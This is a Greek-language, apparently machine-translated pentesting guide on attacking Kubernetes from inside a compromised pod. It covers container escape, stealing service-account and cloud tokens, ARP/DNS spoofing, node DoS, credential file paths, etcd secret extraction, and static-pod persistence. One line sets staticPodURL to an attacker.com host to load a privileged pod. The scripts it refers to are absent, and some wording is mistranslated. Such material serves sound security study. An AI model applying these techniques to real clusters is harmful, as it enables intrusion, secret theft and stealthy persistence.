Attacking Kubernetes from inside a Pod
Έξοδος από το Pod
Αν είστε αρκετά τυχεροί, μπορείτε να δραπετεύσετε από αυτό προς τον κόμβο:
![](https://cloud.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Fsickrov.github.io%2Fmedia%2FScreenshot-161.jpg&width=768&dpr=4&quality=100&sign=a4b7533e&sv=1)
Δραπέτευση από το pod
Για να προσπαθήσετε να δραπετεύσετε από τα pods, ίσως χρειαστεί να εξελίξετε προνόμια πρώτα, μερικές τεχνικές για να το κάνετε:
Μπορείτε να ελέγξετε αυτές τις διαρρήξεις docker για να δοκιμάσετε να δραπετεύσετε από ένα pod που έχετε διαρρεύσει:
Κατάχρηση Προνομίων Kubernetes
Όπως εξηγείται στην ενότητα για την απαρίθμηση του kubernetes:
Kubernetes EnumerationΣυνήθως τα pods τρέχουν με ένα token λογαριασμού υπηρεσίας μέσα σε αυτά. Αυτός ο λογαριασμός υπηρεσίας μπορεί να έχει κάποια προνόμια συνδεδεμένα με αυτόν που θα μπορούσατε να καταχραστείτε για να μετακινηθείτε σε άλλα pods ή ακόμα και να δραπετεύσετε προς τους κόμβους που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:
Abusing Roles/ClusterRoles in KubernetesΚατάχρηση Προνομίων Στο Cloud
Αν το pod τρέχει μέσα σε ένα περιβάλλον cloud μπορείτε να διαρρεύσετε ένα τοκέν από το τέλειο μεταδεδομένων και να εξελίξετε προνόμια χρησιμοποιώντας το.
Αναζήτηση ευάλωτων υπηρεσιών δικτύου
Καθώς βρίσκεστε μέσα στο περιβάλλον Kubernetes, αν δεν μπορείτε να εξελίξετε προνόμια καταχρηστικά τα τρέχοντα προνόμια των pods και δεν μπορείτε να δραπετεύσετε από το container, θα πρέπει να αναζητήσετε πιθανά ευάλωτες υπηρεσίες.
Υπηρεσίες
Για αυτόν τον σκοπό, μπορείτε να προσπαθήσετε να λάβετε όλες τις υπηρεσίες του περιβάλλοντος kubernetes:
Προεπιλεγμένα, το Kubernetes χρησιμοποιεί ένα επίπεδο δικτύωσης επίπεδο, το οποίο σημαίνει ότι οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνεί με άλλα. Τα namespaces εντός του cluster δεν έχουν καμία προεπιλεγμένη περιοριστική ασφάλεια δικτύου. Οποιοσδήποτε στο namespace μπορεί να επικοινωνεί με άλλα namespaces.
Σάρωση
Το παρακάτω σενάριο Bash (που προέρχεται από ένα εργαστήριο Kubernetes) θα εγκαταστήσει και θα σαρώσει τις διευθύνσεις IP του cluster Kubernetes:
Ρίξτε μια ματιά στην ακόλουθη σελίδα για να μάθετε πώς μπορείτε να επιτεθείτε σε συγκεκριμένες υπηρεσίες του Kubernetes για να διακινδυνεύσετε άλλα pods/ολόκληρο το περιβάλλον:
Pentesting Kubernetes ServicesΚαταγραφή
Στην περίπτωση που το υποβαθμισμένο pod εκτελεί κάποια ευαίσθητη υπηρεσία όπου άλλα pods χρειάζεται να πιστοποιηθούν, ενδέχεται να μπορείτε να αποκτήσετε τα διαπιστευτήρια που στέλνονται από τα άλλα pods καταγράφοντας τις τοπικές επικοινωνίες.
Διακίνδυνευση Δικτύου
Από προεπιλογή, τεχνικές όπως η διακίνδυνευση ARP (και χάρη σε αυτήν τη διακίνδυνευση DNS) λειτουργούν στο δίκτυο του Kubernetes. Στη συνέχεια, μέσα σε ένα pod, αν έχετε τη δυνατότητα NET_RAW (η οποία υπάρχει από προεπιλογή), θα μπορείτε να στείλετε προσαρμοσμένα διαμορφωμένα πακέτα δικτύου και να πραγματοποιήσετε επιθέσεις MitM μέσω διακίνδυνευσης ARP σε όλα τα pods που εκτελούνται στον ίδιο κόμβο. Επιπλέον, αν το κακόβουλο pod εκτελείται στον ίδιο κόμβο με τον Διακομιστή DNS, θα μπορείτε να πραγματοποιήσετε μια επίθεση DNS Spoofing σε όλα τα pods στο cluster.
Kubernetes Network AttacksNode DoS
Δεν υπάρχει καθορισμός πόρων στα αρχεία μεταδεδομένων του Kubernetes και δεν εφαρμόζονται ορία περιοχών για τους containers. Ως επιτιθέμενοι, μπορούμε να καταναλώσουμε όλους τους πόρους όπου εκτελείται το pod/deployment και να αφαιρέσουμε πόρους από άλλα και να προκαλέσουμε ένα DoS στο περιβάλλον.
Αυτό μπορεί να γίνει με ένα εργαλείο όπως το stress-ng:
Μπορείτε να δείτε τη διαφορά ενώ τρέχει το stress-ng
και μετά
Μετά την εκμετάλλευση του Node
Αν καταφέρετε να δραπετεύσετε από το container υπάρχουν μερικά ενδιαφέροντα πράγματα που θα βρείτε στον κόμβο:
Η διαδικασία Container Runtime (Docker)
Περισσότερα pods/containers που τρέχουν στον κόμβο και μπορείτε να καταχραστείτε όπως αυτό (περισσότερα tokens)
Ολόκληρο το σύστημα αρχείων και το ΛΣ γενικά
Το Υπηρεσία Kube-Proxy που ακούει
Η Υπηρεσία Kubelet που ακούει. Ελέγξτε τα αρχεία ρυθμίσεων:
Κατάλογος:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Άλλα κοινά αρχεία Kubernetes:
$HOME/.kube/config
- Ρυθμίσεις Χρήστη/etc/kubernetes/kubelet.conf
- Κανονικές Ρυθμίσεις/etc/kubernetes/bootstrap-kubelet.conf
- Ρυθμίσεις Bootstrap/etc/kubernetes/manifests/etcd.yaml
- Ρυθμίσεις etcd/etc/kubernetes/pki
- Κλειδιά Kubernetes
Εύρεση node kubeconfig
Αν δεν μπορείτε να βρείτε το αρχείο kubeconfig σε έναν από τους προηγούμενα σχολιασμένους διαδρόμους, ελέγξτε το όρισμα --kubeconfig
της διαδικασίας kubelet:
Κλοπή Μυστικών
Το σενάριο can-they.sh θα ανακτήσει αυτόματα τα τοκεν των άλλων pods και θα ελέγξει αν έχουν την άδεια που ψάχνετε (αντί να το ελέγχετε ένα-ένα):
Προνομιούχα DaemonSets
Ένα DaemonSet είναι ένα pod που θα τρέχει σε όλους τους κόμβους του cluster. Επομένως, αν ένα DaemonSet ρυθμιστεί με ένα προνομιούχο λογαριασμό υπηρεσίας, σε ΟΛΟΥΣ τους κόμβους θα μπορείτε να βρείτε το διακριτικό εκείνου του προνομιούχου λογαριασμού που θα μπορούσατε να καταχραστείτε.
Η εκμετάλλευση είναι η ίδια με αυτήν της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάστε από την τύχη.
Εναλλαγή στο Cloud
Αν το cluster διαχειρίζεται από έναν υπηρεσία cloud, συνήθως ο Κόμβος θα έχει διαφορετική πρόσβαση στο τέλειο μεταδεδομένων σε σχέση με το Pod. Επομένως, προσπαθήστε να έχετε πρόσβαση στο τέλειο μεταδεδομένων από τον κόμβο (ή από ένα pod με hostNetwork σε True):
Kubernetes Pivoting to CloudsΚλοπή του etcd
Αν μπορείτε να καθορίσετε το όνομαΚόμβου του Κόμβου που θα εκτελέσει το container, αποκτήστε ένα κέλυφος μέσα σε έναν κόμβο ελέγχου και αποκτήστε τη βάση δεδομένων etcd:
control-plane κόμβοι έχουν τον ρόλο master και σε σύνολα διαχειριζόμενα στο cloud δεν θα μπορείτε να εκτελέσετε τίποτα σε αυτούς.
Διαβάστε μυστικά από το etcd
Αν μπορείτε να εκτελέσετε το pod σας σε έναν κόμβο ελέγχου χρησιμοποιώντας τον επιλογέα nodeName
στο αντικείμενο προδιαγραφών του pod, μπορείτε να έχετε εύκολη πρόσβαση στη βάση δεδομένων etcd
, η οποία περιέχει όλη τη διαμόρφωση του σύνολου, συμπεριλαμβανομένων όλων των μυστικών.
Παρακάτω υπάρχει ένας γρήγορος και βρώμικος τρόπος να ανακτήσετε μυστικά από το etcd
αν τρέχει στον κόμβο ελέγχου στον οποίο βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που ξεκινά ένα pod με το εργαλείο πελάτη etcd
etcdctl
και χρησιμοποιεί τα διαπιστευτήρια του κόμβου ελέγχου για να συνδεθεί στο etcd οπουδήποτε τρέχει, ελέγξτε το αυτό το παράδειγμα μεταφοράς από τον @mauilion.
Ελέγξτε αν το etcd
τρέχει στον κόμβο ελέγχου και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε ένα σύνολο που δημιουργήθηκε με το kubeadm
)
Προβολή των δεδομένων στη βάση δεδομένων etcd:
Εξαγάγετε τα τοκενς από τη βάση δεδομένων και εμφανίστε το όνομα του λογαριασμού υπηρεσίας
Ίδια εντολή, αλλά με μερικά greps για να επιστρέψει μόνο το προεπιλεγμένο τοκεν στο namespace kube-system
Μόνιμη Αντοχή Στατικών/Καθρεφτισμένων Pods
Τα Στατικά Pods διαχειρίζονται απευθείας από τον δαίμονα kubelet σε ένα συγκεκριμένο κόμβο, χωρίς τον διακομιστή API να τα παρατηρεί. Αντίθετα από τα Pods που διαχειρίζονται από το επίπεδο ελέγχου (για παράδειγμα, ένα Deployment); αντ' αυτού, το kubelet παρακολουθεί κάθε στατικό Pod (και το επανεκκινεί αν αποτύχει).
Συνεπώς, τα στατικά Pods είναι πάντα δεμένα με ένα Kubelet σε ένα συγκεκριμένο κόμβο.
Το kubelet προσπαθεί αυτόματα να δημιουργήσει έναν καθρέφτη Pod στον διακομιστή API του Kubernetes για κάθε στατικό Pod. Αυτό σημαίνει ότι τα Pods που εκτελούνται σε έναν κόμβο είναι ορατά στον διακομιστή API, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pods θα έχουν ως κατάληξη το όνομα του κόμβου με προηγούμενο παύλα.
Το spec
ενός στατικού Pod δεν μπορεί να αναφέρεται σε άλλα αντικείμενα του API (π.χ., ServiceAccount, ConfigMap, Secret, κλπ.). Έτσι δεν μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να ξεκινήσετε ένα pod με ένα αυθαίρετο serviceAccount στον τρέχοντα κόμβο για να διακινδυνεύσετε το cluster. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτό για να εκτελέσετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).
Αν βρίσκεστε μέσα στον κόμβο του οικοδεσπότη, μπορείτε να τον κάνετε να δημιουργήσει ένα στατικό pod μέσα στον εαυτό του. Αυτό είναι πολύ χρήσιμο επειδή μπορεί να σας επιτρέψει να δημιουργήσετε ένα pod σε ένα διαφορετικό namespace όπως το kube-system.
Για να δημιουργήσετε ένα στατικό pod, η τεκμηρίωση είναι μεγάλη βοήθεια. Βασικά χρειάζεστε 2 πράγματα:
Ρύθμιση της παραμέτρου
--pod-manifest-path=/etc/kubernetes/manifests
στην υπηρεσία kubelet, ή στην διαμόρφωση kubelet (staticPodPath) και επανεκκίνηση της υπηρεσίαςΔημιουργία του ορισμού στο ορισμό pod στο
/etc/kubernetes/manifests
Ένας πιο κρυφός τρόπος θα ήταν:
Τροποποιήστε την παράμετρο
staticPodURL
από το αρχείο διαμόρφωσης του kubelet και ορίστε κάτι σανstaticPodURL: http://attacker.com:8765/pod.yaml
. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα στατικό pod παίρνοντας τη διαμόρφωση από τον καθορισμένο URL.
Παράδειγμα της διαμόρφωσης pod για τη δημιουργία ενός προνομιούχου pod στο kube-system που προέρχεται από εδώ:
Διαγραφή pods + μη προγραμματισμός κόμβων
Εάν ένας εισβολέας έχει διαρρεύσει έναν κόμβο και μπορεί να διαγράψει pods από άλλους κόμβους και να κάνει άλλους κόμβους ανίκανους να εκτελέσουν pods, τα pods θα επανεκκινηθούν στον διαρρεύσαντα κόμβο και θα μπορέσει να κλέψει τα tokens που εκτελούνται σε αυτά. Για περισσότερες πληροφορίες ακολουθήστε αυτούς τους συνδέσμους.
Αυτόματα Εργαλεία
Last updated